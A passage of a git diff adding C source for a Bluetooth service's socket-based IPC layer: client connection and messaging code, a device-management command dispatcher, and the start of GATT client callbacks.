PF_LOCAL) { + u.local_addr.sun_family = AF_LOCAL; + snprintf(u.local_addr.sun_path, UNIX_PATH_MAX, + BLUETOOTH_SOCKADDR_NAME, name); + addr_len = sizeof(struct sockaddr_un); + } else if (family == AF_INET) { + u.inet_addr.sin_family = AF_INET; +#if defined(ANDROID) + u.inet_addr.sin_addr.s_addr = htonl(CONFIG_INADDR_LOOPBACK); +#else + u.inet_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); +#endif + u.inet_addr.sin_port = htons(port); + addr_len = sizeof(struct sockaddr_in); + } else { +#ifdef CONFIG_NET_RPMSG + u.rpmsg_addr.rp_family = AF_RPMSG; + snprintf(u.rpmsg_addr.rp_name, RPMSG_SOCKET_NAME_SIZE, + BLUETOOTH_SOCKADDR_NAME, name); + if (cpu != NULL) + strlcpy(u.rpmsg_addr.rp_cpu, cpu, sizeof(u.rpmsg_addr.rp_cpu)); + addr_len = sizeof(struct sockaddr_rpmsg); +#endif + } + if (!addr_len) { + return -errno; + } + + fd = socket(family, SOCK_STREAM, 0); + if (fd < 0) + return -errno; + + if (connect(fd, (struct sockaddr*)&u, addr_len) < 0) { + close(fd); + return -errno; + } + +#ifdef CONFIG_NET_SOCKOPTS + setSocketBuf(fd, SO_SNDBUF); + setSocketBuf(fd, SO_RCVBUF); +#endif + + return fd; +} + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +int bt_socket_client_sendrecv(bt_instance_t* ins, bt_message_packet_t* packet, + uint32_t code) +{ + uint8_t* send_data; + int send_size; + int ret; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + uv_mutex_lock(&ins->mutex); + + packet->code = code; + + ins->cpacket = packet; + + send_data = (uint8_t*)packet; + send_size = sizeof(*packet); + while (send_size > 0) { + ret = send(ins->peer_fd, send_data, send_size, 0); + if (ret == 0) { + break; + } else if (ret < 0) { + if (errno == EINTR || errno == EAGAIN) + continue; + break; + } + send_data += ret; + send_size -= ret; + } + + if (ret <= 0) { + uv_mutex_unlock(&ins->mutex); + BT_LOGE("%s, bt socket send ret: %d error: %d", __func__, ret, errno); + return BT_STATUS_FAIL; + } + + uv_sem_wait(&ins->message_processed); + + ins->cpacket = NULL; + + uv_mutex_unlock(&ins->mutex); + + return BT_STATUS_SUCCESS; +} + +int bt_socket_client_init(bt_instance_t* ins, int family, + const char* name, const char* cpu, int port) +{ + uv_poll_t* poll; + int retry = CLIENT_MAX_RETRY; + + ins->client_loop = zalloc(sizeof(uv_loop_t)); + if (!ins->client_loop) + return BT_STATUS_NOMEM; + + if (thread_loop_init(ins->client_loop) != 0) { + free(ins->client_loop); + ins->client_loop = NULL; + return BT_STATUS_FAIL; + } + + ins->packet = malloc(sizeof(bt_message_packet_t)); + if (ins->packet == NULL) { + bt_socket_client_deinit(ins); + return BT_STATUS_NOMEM; + } + + ins->offset = 0; + list_initialize(&ins->msg_queue); + uv_mutex_init(&ins->lock); + + uv_sem_init(&ins->message_processed, 0); + uv_mutex_init(&ins->mutex); + do { + ins->peer_fd = bt_socket_client_connect(family, name, cpu, port); + if (ins->peer_fd <= 0 && !retry) { + /* connect fail, go out */ + BT_DFX_IPC_CONN_ERROR(BT_DFXE_CLIENT_CONNECT_FAIL, BT_DFXE_FILE_DESCRIPTOR_ERROR); + bt_socket_client_deinit(ins); + return BT_STATUS_PARM_INVALID; + } else if (ins->peer_fd <= 0) { + /* connect fail, retry after sleep 100ms */ + usleep(CLIENT_DELAY_MS(retry) * 1000); + continue; + } else { + /* success, goto next step */ + break; + } + } while (retry--); + + poll = thread_loop_poll_fd(ins->client_loop, ins->peer_fd, UV_READABLE | UV_DISCONNECT, + bt_socket_client_handle_event, ins); + if (poll == NULL) { + bt_socket_client_deinit(ins); + return BT_STATUS_PARM_INVALID; + } + + ins->poll = poll; + + thread_loop_run(ins->client_loop, true, "bt_client"); + + return BT_STATUS_SUCCESS; +} + +static void bt_socket_sync_close(void* data) +{ + bt_instance_t* ins = data; + + if (ins->poll) + thread_loop_remove_poll((uv_poll_t*)ins->poll); + ins->poll = NULL; + + if (ins->peer_fd > 0) + close(ins->peer_fd); + ins->peer_fd = -1; +} + +void bt_socket_client_free_callbacks(bt_instance_t* ins, callbacks_list_t* cbsl) +{ + do_in_thread_loop(ins->client_loop, bt_callbacks_list_free, cbsl); +} + +void bt_socket_client_deinit(bt_instance_t* ins) +{ + uv_sem_destroy(&ins->message_processed); + uv_mutex_destroy(&ins->mutex); + + if (ins->packet) + free(ins->packet); + + if (!ins->poll) + bt_socket_sync_close(ins); + else + do_in_thread_loop_sync(ins->client_loop, bt_socket_sync_close, ins); + + /* Dispatch an empty work to ensure all pending work have completed, while + `bt_socket_sync_close` guarantees no new work will enter the queue. */ + if (uv_loop_alive(ins->client_loop)) + thread_loop_work_sync(ins->client_loop, NULL, NULL, NULL); + + if (ins->external_loop && ins->external_async) { + struct list_node* node; + struct list_node* tmp; + uv_mutex_lock(&ins->lock); + list_for_every_safe(&ins->msg_queue, node, tmp) + { + list_delete(node); + free(node); + } + uv_mutex_unlock(&ins->lock); + uv_close((uv_handle_t*)ins->external_async, bt_socket_client_async_close); + } + + uv_mutex_destroy(&ins->lock); + thread_loop_exit(ins->client_loop); + free(ins->client_loop); +} + +/* + Async client +*/ +typedef struct { + bt_message_type_t code; + // bt_message_packet_t* packet; + bt_socket_reply_cb_t reply_cb; + void* cb; + void* userdata; +} bt_message_context_t; + +typedef struct { + uv_write_t req; + bt_message_packet_t packet; + bt_socket_async_client_t* priv; +} bt_socket_write_t; + +static void bt_socket_alloc_cb(uv_handle_t* handle, + size_t suggested_size, uv_buf_t* buf) +{ + bt_socket_async_client_t* priv = uv_handle_get_data(handle); + + if (priv->packet == NULL) { + priv->packet = malloc(sizeof(bt_message_packet_t)); + if (priv->packet == NULL) { + BT_LOGE("malloc failed"); + buf = NULL; + suggested_size = 0; + return; + } + + priv->offset = 0; + } + + if (priv->offset == 0) { + buf->base = (char*)priv->packet; + buf->len = sizeof(bt_message_packet_t); + } else { + buf->base = ((char*)priv->packet) + priv->offset; + buf->len = sizeof(bt_message_packet_t) - priv->offset; + } +} + +static int bt_socket_async_client_handle_packet(bt_instance_t* ins, bt_message_packet_t* packet) +{ + bt_socket_async_client_t* priv = ins->priv; + + if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_MESSAGE_START, BT_MESSAGE_END) + || (BT_IPC_CODE_CHECK_TYPE(packet->code, BT_IPC_CODE_TYPE_COMMAND) + && !BT_IPC_CODE_CHECK_GROUP(packet->code, BT_IPC_CODE_GROUP_LEGACY))) { + bt_message_context_t* ctx = (bt_message_context_t*)(uintptr_t)packet->context; + bt_message_context_t* head = bt_list_node(bt_list_head(priv->pending_queue)); + + assert(head == ctx); + + if (ctx && ctx->reply_cb) + ctx->reply_cb(ins, packet, ctx->cb, ctx->userdata); + + bt_list_remove_node(priv->pending_queue, bt_list_head(priv->pending_queue)); + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_CALLBACK_START, BT_CALLBACK_END) + || (BT_IPC_CODE_CHECK_TYPE(packet->code, BT_IPC_CODE_TYPE_CALLBACK) + && !BT_IPC_CODE_CHECK_GROUP(packet->code, BT_IPC_CODE_GROUP_LEGACY))) { + bt_socket_client_callback_process(ins, packet, true); + } else { + assert(0); + } + + return BT_STATUS_SUCCESS; +} + +static void bt_socket_read_cb(uv_stream_t* stream, + ssize_t nread, const uv_buf_t* buf) +{ + bt_socket_async_client_t* priv = uv_handle_get_data((uv_handle_t*)stream); + + if (nread > 0) { + assert(priv->offset + nread <= sizeof(bt_message_packet_t)); + priv->offset += nread; + + if (priv->offset == sizeof(bt_message_packet_t)) { + bt_socket_async_client_handle_packet(priv->ins, priv->packet); + priv->offset = 0; + } + } else if (nread < 0) { + if (priv->disconnected) + priv->disconnected(priv->ins, priv->user_data, nread); + } +} + +static void bt_socket_close_cb(uv_handle_t* handle) +{ + bt_socket_async_client_t* priv = uv_handle_get_data(handle); + free(handle); + free(priv); +} + +static void bt_socket_connect_cb(uv_connect_t* req, int status) +{ + bt_socket_async_client_t* priv = uv_req_get_data((uv_req_t*)req); + + if (status != 0) { + BT_LOGE("bt async client connect failed: %s", uv_strerror(status)); + BT_DFX_IPC_CONN_ERROR(BT_DFXE_ASYNC_CLIENT_CONN_FAIL, uv_strerror(status)); + if (priv->disconnected) + priv->disconnected(priv->ins, priv->user_data, status); + } else { + BT_LOGI("bt async client connect success"); + uv_read_start((uv_stream_t*)priv->pipe, bt_socket_alloc_cb, bt_socket_read_cb); + if (priv->connected) + priv->connected(priv->ins, priv->user_data); + } +} + +static void bt_socket_write_cb(uv_write_t* req, int status) +{ + free(req); +} + +static void bt_socket_context_free(void* data) +{ + /* callback to user the request was canceled because the instance was released? */ + + /* free data */ + free(data); +} + +int bt_socket_client_send_with_reply(bt_instance_t* ins, bt_message_packet_t* packet, + bt_message_type_t code, bt_socket_reply_cb_t reply, void* cb, void* userdata) +{ + uv_buf_t buf; + bt_message_context_t* ctx; + bt_socket_async_client_t* priv; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + priv = ins->priv; + + ctx = malloc(sizeof(bt_message_context_t)); + if (!ctx) + return BT_STATUS_NOMEM; + + ctx->code = code; + ctx->reply_cb = reply; + ctx->cb = cb; + ctx->userdata = userdata; + + packet->code = code; + packet->context = (uintptr_t)ctx; + + bt_socket_write_t* wreq = malloc(sizeof(bt_socket_write_t)); + if (wreq == NULL) { + free(ctx); + return BT_STATUS_NOMEM; + } + + wreq->priv = priv; + memcpy(&wreq->packet, packet, sizeof(bt_message_packet_t)); + buf = uv_buf_init((char*)&wreq->packet, sizeof(bt_message_packet_t)); + if (uv_write(&wreq->req, (uv_stream_t*)priv->pipe, &buf, 1, bt_socket_write_cb) != 0) { + free(wreq); + free(ctx); + return BT_STATUS_FAIL; + } + + bt_list_add_tail(priv->pending_queue, ctx); + + return BT_STATUS_SUCCESS; +} + +int bt_socket_async_client_init(bt_instance_t* ins, uv_loop_t* loop, int family, + const char* name, const char* cpu, int port, bt_ipc_connected_cb_t connected, + bt_ipc_disconnected_cb_t disconnected, void* user_data) +{ + int ret; + bt_socket_async_client_t* priv; + + if (ins == NULL || loop == NULL) + return BT_STATUS_PARM_INVALID; + + priv = calloc(1, sizeof(bt_socket_async_client_t)); + if (priv == NULL) + return BT_STATUS_NOMEM; + + priv->user_data = user_data; + priv->loop = loop; + priv->ins = ins; + priv->connected = connected; + priv->disconnected = disconnected; + priv->pending_queue = bt_list_new(bt_socket_context_free); + + if (family == AF_LOCAL || family == AF_RPMSG) { + priv->pipe = malloc(sizeof(uv_pipe_t)); + if (priv->pipe == NULL) + goto fail; + + ret = uv_pipe_init(priv->loop, priv->pipe, 0); + if (ret != 0) + goto fail; + + uv_handle_set_data((uv_handle_t*)priv->pipe, priv); + uv_req_set_data((uv_req_t*)&priv->conn_req, priv); + + if (family == AF_LOCAL) { + char path[UNIX_PATH_MAX]; + + snprintf(path, UNIX_PATH_MAX, BLUETOOTH_SOCKADDR_NAME, name); + uv_pipe_connect(&priv->conn_req, priv->pipe, path, bt_socket_connect_cb); + } +#ifdef CONFIG_NET_RPMSG + else if (family == AF_RPMSG) { + char rp_name[RPMSG_SOCKET_NAME_SIZE]; + + snprintf(rp_name, RPMSG_SOCKET_NAME_SIZE, BLUETOOTH_SOCKADDR_NAME, name); + uv_pipe_rpmsg_connect(&priv->conn_req, priv->pipe, rp_name, cpu, bt_socket_connect_cb); + } +#endif + else { + return BT_STATUS_NOT_SUPPORTED; + } + } + + ins->priv = priv; + + return BT_STATUS_SUCCESS; +fail: + bt_socket_async_client_deinit(ins); + return BT_STATUS_FAIL; +} + +static void bt_socket_invoke_async_cb(bt_instance_t* ins, bt_list_t* list) +{ + bt_list_node_t* node; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + bt_message_context_t* ctx = bt_list_node(node); + if (ctx && ctx->reply_cb) + ctx->reply_cb(ins, NULL, ctx->cb, ctx->userdata); + } +} + +void bt_socket_async_client_deinit(bt_instance_t* ins) +{ + bt_socket_async_client_t* priv; + + if (ins == NULL) + return; + + priv = ins->priv; + if (priv == NULL) + return; + + uv_read_stop((uv_stream_t*)priv->pipe); + + if (priv->pending_queue) { + bt_socket_invoke_async_cb(ins, priv->pending_queue); + bt_list_free(priv->pending_queue); + priv->pending_queue = NULL; + } + + if (priv->pipe) { + uv_close((uv_handle_t*)priv->pipe, bt_socket_close_cb); + free(priv->packet); + return; + } + + free(priv->packet); + free(priv); +} diff --git a/service/ipc/socket/src/bt_socket_device.c b/service/ipc/socket/src/bt_socket_device.c new file mode 100644 index 0000000000000000000000000000000000000000..2fc106eaadcd96a3bbd2fd3aacb87487c20c33a2 --- /dev/null +++ b/service/ipc/socket/src/bt_socket_device.c @@ -0,0 +1,318 @@ +/**************************************************************************** + * service/ipc/socket/src/bt_socket_device.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "adapter_internel.h" +#include "bluetooth.h" +#include "bt_device.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "service_loop.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +static bool socket_allocator(void** data, uint32_t size) +{ + *data = malloc(size); + if (!(*data)) + return false; + + return true; +} +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void bt_socket_server_device_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet) +{ + switch (packet->code) { + case BT_DEVICE_GET_IDENTITY_ADDRESS: { + bt_address_t id_addr; + packet->devs_r.status = BTSYMBOLS(bt_device_get_identity_address)(ins, + &packet->devs_pl._bt_device_addr.addr, + &id_addr); + memcpy(&packet->devs_pl._bt_device_addr.addr, &id_addr, sizeof(id_addr)); + break; + } + case BT_DEVICE_GET_ADDRESS_TYPE: { + packet->devs_r.atype = BT_LE_ADDR_TYPE_PUBLIC; + break; + } + case BT_DEVICE_GET_DEVICE_TYPE: { + packet->devs_r.atype = BTSYMBOLS(bt_device_get_device_type)(ins, + &packet->devs_pl._bt_device_addr.addr); + break; + } + case BT_DEVICE_GET_NAME: { + memset(packet->devs_pl._bt_device_get_name.name, 0, sizeof(packet->devs_pl._bt_device_get_name.name)); + packet->devs_r.bbool = BTSYMBOLS(bt_device_get_name)(ins, + &packet->devs_pl._bt_device_get_name.addr, + packet->devs_pl._bt_device_get_name.name, + sizeof(packet->devs_pl._bt_device_get_name.name)); + break; + } + case BT_DEVICE_GET_DEVICE_CLASS: { + packet->devs_r.v32 = BTSYMBOLS(bt_device_get_device_class)(ins, + &packet->devs_pl._bt_device_addr.addr); + break; + } + case BT_DEVICE_GET_UUIDS: { + bt_uuid_t* uuid; + packet->devs_r.status = BTSYMBOLS(bt_device_get_uuids)(ins, + &packet->devs_pl._bt_device_get_uuids.addr, + &uuid, + &packet->devs_pl._bt_device_get_uuids.size, socket_allocator); + + if (packet->devs_pl._bt_device_get_uuids.size > 0) { + if (packet->devs_pl._bt_device_get_uuids.size > nitems(packet->devs_pl._bt_device_get_uuids.uuids)) { + packet->devs_pl._bt_device_get_uuids.size = nitems(packet->devs_pl._bt_device_get_uuids.uuids); + } + + memcpy(packet->devs_pl._bt_device_get_uuids.uuids, uuid, + sizeof(bt_uuid_t) * packet->devs_pl._bt_device_get_uuids.size); + free(uuid); + } + break; + } + case BT_DEVICE_GET_APPEARANCE: { + packet->devs_r.v16 = BTSYMBOLS(bt_device_get_appearance)(ins, + &packet->devs_pl._bt_device_addr.addr); + break; + } + case BT_DEVICE_GET_RSSI: { + packet->devs_r.v8 = BTSYMBOLS(bt_device_get_rssi)(ins, + &packet->devs_pl._bt_device_addr.addr); + break; + } + case BT_DEVICE_GET_ALIAS: { + memset(packet->devs_pl._bt_device_get_alias.alias, 0, sizeof(packet->devs_pl._bt_device_get_alias.alias)); + packet->devs_r.bbool = BTSYMBOLS(bt_device_get_alias)(ins, + &packet->devs_pl._bt_device_get_alias.addr, + packet->devs_pl._bt_device_get_alias.alias, + sizeof(packet->devs_pl._bt_device_get_alias.alias)); + break; + } + case BT_DEVICE_SET_ALIAS: { + packet->devs_r.status = BTSYMBOLS(bt_device_set_alias)(ins, + &packet->devs_pl._bt_device_set_alias.addr, + packet->devs_pl._bt_device_set_alias.alias); + break; + } + case BT_DEVICE_IS_CONNECTED: { + packet->devs_r.bbool = BTSYMBOLS(bt_device_is_connected)(ins, + &packet->devs_pl._bt_device_addr.addr, + packet->devs_pl._bt_device_is_connected.transport); + break; + } + case BT_DEVICE_IS_ENCRYPTED: { + packet->devs_r.bbool = BTSYMBOLS(bt_device_is_encrypted)(ins, + &packet->devs_pl._bt_device_addr.addr, + packet->devs_pl._bt_device_is_encrypted.transport); + break; + } + case BT_DEVICE_IS_BOND_INITIATE_LOCAL: { + packet->devs_r.bbool = BTSYMBOLS(bt_device_is_bond_initiate_local)(ins, + &packet->devs_pl._bt_device_addr.addr, + packet->devs_pl._bt_device_is_bond_initiate_local.transport); + break; + } + case BT_DEVICE_GET_BOND_STATE: { + packet->devs_r.bstate = BTSYMBOLS(bt_device_get_bond_state)(ins, + &packet->devs_pl._bt_device_addr.addr, + packet->devs_pl._bt_device_get_bond_state.transport); + break; + } + case BT_DEVICE_IS_BONDED: { + packet->devs_r.bbool = BTSYMBOLS(bt_device_is_bonded)(ins, + &packet->devs_pl._bt_device_addr.addr, + packet->devs_pl._bt_device_is_bonded.transport); + break; + } + case BT_DEVICE_CREATE_BOND: { + packet->devs_r.status = BTSYMBOLS(bt_device_create_bond)(ins, + &packet->devs_pl._bt_device_create_bond.addr, + packet->devs_pl._bt_device_create_bond.transport); + break; + } + case BT_DEVICE_REMOVE_BOND: { + packet->devs_r.status = BTSYMBOLS(bt_device_remove_bond)(ins, + &packet->devs_pl._bt_device_remove_bond.addr, + packet->devs_pl._bt_device_remove_bond.transport); + break; + } + case BT_DEVICE_CANCEL_BOND: { + packet->devs_r.status = BTSYMBOLS(bt_device_cancel_bond)(ins, + &packet->devs_pl._bt_device_addr.addr); + break; + } + case BT_DEVICE_PAIR_REQUEST_REPLY: { + packet->devs_r.status = BTSYMBOLS(bt_device_pair_request_reply)(ins, + &packet->devs_pl._bt_device_pair_request_reply.addr, + packet->devs_pl._bt_device_pair_request_reply.accept); + break; + } + case BT_DEVICE_SET_PAIRING_CONFIRMATION: { + packet->devs_r.status = BTSYMBOLS(bt_device_set_pairing_confirmation)(ins, + &packet->devs_pl._bt_device_set_pairing_confirmation.addr, + packet->devs_pl._bt_device_set_pairing_confirmation.transport, + packet->devs_pl._bt_device_set_pairing_confirmation.accept); + break; + } + case BT_DEVICE_SET_PIN_CODE: { + packet->devs_r.status = BTSYMBOLS(bt_device_set_pin_code)(ins, + &packet->devs_pl._bt_device_set_pin_code.addr, + packet->devs_pl._bt_device_set_pin_code.accept, + (char*)packet->devs_pl._bt_device_set_pin_code.pincode, + packet->devs_pl._bt_device_set_pin_code.len); + break; + } + case BT_DEVICE_SET_PASS_KEY: { + packet->devs_r.status = BTSYMBOLS(bt_device_set_pass_key)(ins, + &packet->devs_pl._bt_device_set_pass_key.addr, + packet->devs_pl._bt_device_set_pass_key.transport, + packet->devs_pl._bt_device_set_pass_key.accept, + packet->devs_pl._bt_device_set_pass_key.passkey); + break; + } + case BT_DEVICE_SET_LE_LEGACY_TK: { + packet->devs_r.status = BTSYMBOLS(bt_device_set_le_legacy_tk)(ins, + &packet->devs_pl._bt_device_set_le_legacy_tk.addr, + packet->devs_pl._bt_device_set_le_legacy_tk.tk_val); + break; + } + case BT_DEVICE_SET_LE_SC_REMOTE_OOB_DATA: { + packet->devs_r.status = BTSYMBOLS(bt_device_set_le_sc_remote_oob_data)(ins, + &packet->devs_pl._bt_device_set_le_sc_remote_oob_data.addr, + packet->devs_pl._bt_device_set_le_sc_remote_oob_data.c_val, + packet->devs_pl._bt_device_set_le_sc_remote_oob_data.r_val); + break; + } + case BT_DEVICE_GET_LE_SC_LOCAL_OOB_DATA: { + packet->devs_r.status = BTSYMBOLS(bt_device_get_le_sc_local_oob_data)(ins, + &packet->devs_pl._bt_device_get_le_sc_local_oob_data.addr); + break; + } + case BT_DEVICE_CONNECT: { + packet->devs_r.status = BTSYMBOLS(bt_device_connect)(ins, + &packet->devs_pl._bt_device_addr.addr); + break; + } + case BT_DEVICE_DISCONNECT: { + packet->devs_r.status = BTSYMBOLS(bt_device_disconnect)(ins, + &packet->devs_pl._bt_device_addr.addr); + break; + } + case BT_DEVICE_BACKGROUND_CONNECT: { + packet->devs_r.status = BTSYMBOLS(bt_device_background_connect)(ins, + &packet->devs_pl._bt_device_background_connect.addr, + packet->devs_pl._bt_device_background_connect.transport); + break; + } + case BT_DEVICE_BACKGROUND_DISCONNECT: { + packet->devs_r.status = BTSYMBOLS(bt_device_background_disconnect)(ins, + &packet->devs_pl._bt_device_background_disconnect.addr, + packet->devs_pl._bt_device_background_disconnect.transport); + break; + } + case BT_DEVICE_CONNECT_LE: { + packet->devs_r.status = BTSYMBOLS(bt_device_connect_le)(ins, + &packet->devs_pl._bt_device_connect_le.addr, + packet->devs_pl._bt_device_connect_le.type, + &packet->devs_pl._bt_device_connect_le.param); + break; + } + case BT_DEVICE_DISCONNECT_LE: { + packet->devs_r.status = BTSYMBOLS(bt_device_disconnect_le)(ins, + &packet->devs_pl._bt_device_addr.addr); + break; + } + case BT_DEVICE_CONNECT_REQUEST_REPLY: { + packet->devs_r.status = BTSYMBOLS(bt_device_connect_request_reply)(ins, + &packet->devs_pl._bt_device_connect_request_reply.addr, + packet->devs_pl._bt_device_connect_request_reply.accept); + break; + } + case BT_DEVICE_SET_LE_PHY: { + packet->devs_r.status = BTSYMBOLS(bt_device_set_le_phy)(ins, + &packet->devs_pl._bt_device_set_le_phy.addr, + packet->devs_pl._bt_device_set_le_phy.tx_phy, + packet->devs_pl._bt_device_set_le_phy.rx_phy); + break; + } + case BT_DEVICE_ENABLE_ENHANCED_MODE: { + packet->devs_r.status = BTSYMBOLS(bt_device_enable_enhanced_mode)(ins, + &packet->devs_pl._bt_device_enable_enhanced_mode.addr, + packet->devs_pl._bt_device_enable_enhanced_mode.mode); + break; + } + case BT_DEVICE_DISABLE_ENHANCED_MODE: { + packet->devs_r.status = BTSYMBOLS(bt_device_disable_enhanced_mode)(ins, + &packet->devs_pl._bt_device_disable_enhanced_mode.addr, + packet->devs_pl._bt_device_enable_enhanced_mode.mode); + break; + } + case BT_DEVICE_CONNECT_ALL_PROFILE: + case BT_DEVICE_DISCONNECT_ALL_PROFILE: + packet->devs_r.status = BT_STATUS_NOT_SUPPORTED; + break; + default: + switch (BT_IPC_GET_SUBCODE(packet->code)) { + case BT_DEVICE_SUBCODE_SET_SECURITY_LEVEL: + packet->devs_r.status = BTSYMBOLS(bt_device_set_security_level)(ins, + packet->devs_pl._bt_device_set_security_level.level, + packet->devs_pl._bt_device_set_security_level.transport); + break; + case BT_DEVICE_SUBCODE_SET_BONDABLE_LE: + packet->devs_r.status = BTSYMBOLS(bt_device_set_bondable_le)(ins, + packet->devs_pl._bt_device_set_bondable_le.accept); + break; + default: + packet->devs_r.status = BT_STATUS_NOT_SUPPORTED; + break; + } + } +} diff --git a/service/ipc/socket/src/bt_socket_gattc.c b/service/ipc/socket/src/bt_socket_gattc.c new file mode 100644 index 0000000000000000000000000000000000000000..d0e01c35ce62a9a40d383b6282cf55e2a79bc043 --- /dev/null +++ b/service/ipc/socket/src/bt_socket_gattc.c @@ -0,0 +1,462 @@ + +/**************************************************************************** + * service/ipc/socket/src/bt_socket_gattc.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "bluetooth.h" +#include "bt_gattc.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "manager_service.h" +#include "service_loop.h" +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define CHECK_REMOTE_VALID(_list, _remote) \ + do { \ + bt_list_node_t* _node; \ + if (!_list) \ + return BT_STATUS_SERVICE_NOT_FOUND; \ + for (_node = bt_list_head(_list); _node != NULL; _node = bt_list_next(_list, _node)) { \ + if (bt_list_node(_node) == _remote) \ + break; \ + } \ + if (!_node) \ + return BT_STATUS_SERVICE_NOT_FOUND; \ + } while (0) + +#define CALLBACK_REMOTE(_remote, _type, _cback, ...) \ + do { \ + _type* _cbs = (_type*)_remote->callbacks; \ + if (_cbs && _cbs->_cback) { \ + _cbs->_cback(_remote, ##__VA_ARGS__); \ + } \ + } while (0) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(CONFIG_BLUETOOTH_GATT_CLIENT) && defined(__NuttX__) +#include "gattc_service.h" +#include "service_manager.h" + +static void on_connected_cb(gattc_handle_t conn_handle, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = if_gattc_get_remote(conn_handle); + packet.gattc_cb._on_callback.remote = gattc_remote->cookie; + memcpy(&packet.gattc_cb._on_connected.addr, addr, sizeof(bt_address_t)); + bt_socket_server_send(gattc_remote->ins, &packet, BT_GATT_CLIENT_ON_CONNECTED); +} +static void on_disconnected_cb(gattc_handle_t conn_handle, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = if_gattc_get_remote(conn_handle); + packet.gattc_cb._on_callback.remote = gattc_remote->cookie; + memcpy(&packet.gattc_cb._on_disconnected.addr, addr, sizeof(bt_address_t)); + bt_socket_server_send(gattc_remote->ins, &packet, BT_GATT_CLIENT_ON_DISCONNECTED); +} +static void on_discovered_cb(gattc_handle_t conn_handle, gatt_status_t status, bt_uuid_t* uuid, + uint16_t start_handle, uint16_t end_handle) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = if_gattc_get_remote(conn_handle); + packet.gattc_cb._on_callback.remote = gattc_remote->cookie; + packet.gattc_cb._on_discovered.status = status; + packet.gattc_cb._on_discovered.start_handle = start_handle; + packet.gattc_cb._on_discovered.end_handle = end_handle; + if (uuid == NULL) + packet.gattc_cb._on_discovered.uuid.type = 0; + else + memcpy(&packet.gattc_cb._on_discovered.uuid, uuid, sizeof(bt_uuid_t)); + bt_socket_server_send(gattc_remote->ins, &packet, BT_GATT_CLIENT_ON_DISCOVERED); +} +static void on_read_cb(gattc_handle_t conn_handle, gatt_status_t status, uint16_t attr_handle, + uint8_t* value, uint16_t length) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = if_gattc_get_remote(conn_handle); + + if (length > sizeof(packet.gattc_cb._on_read.value)) { + BT_LOGW("exceeds gattc maximum attr value size :%d", length); + length = sizeof(packet.gattc_cb._on_read.value); + } + + packet.gattc_cb._on_callback.remote = gattc_remote->cookie; + packet.gattc_cb._on_read.status = status; + packet.gattc_cb._on_read.attr_handle = attr_handle; + packet.gattc_cb._on_read.length = length; + memcpy(packet.gattc_cb._on_read.value, value, length); + bt_socket_server_send(gattc_remote->ins, &packet, BT_GATT_CLIENT_ON_READ); +} +static void on_written_cb(gattc_handle_t conn_handle, gatt_status_t status, uint16_t attr_handle) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = if_gattc_get_remote(conn_handle); + packet.gattc_cb._on_callback.remote = gattc_remote->cookie; + packet.gattc_cb._on_written.status = status; + packet.gattc_cb._on_written.attr_handle = attr_handle; + bt_socket_server_send(gattc_remote->ins, &packet, BT_GATT_CLIENT_ON_WRITTEN); +} +static void on_subscribed_cb(gattc_handle_t conn_handle, gatt_status_t status, uint16_t attr_handle, bool enable) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = if_gattc_get_remote(conn_handle); + packet.gattc_cb._on_callback.remote = gattc_remote->cookie; + packet.gattc_cb._on_subscribed.status = status; + packet.gattc_cb._on_subscribed.attr_handle = attr_handle; + packet.gattc_cb._on_subscribed.enable = enable; + 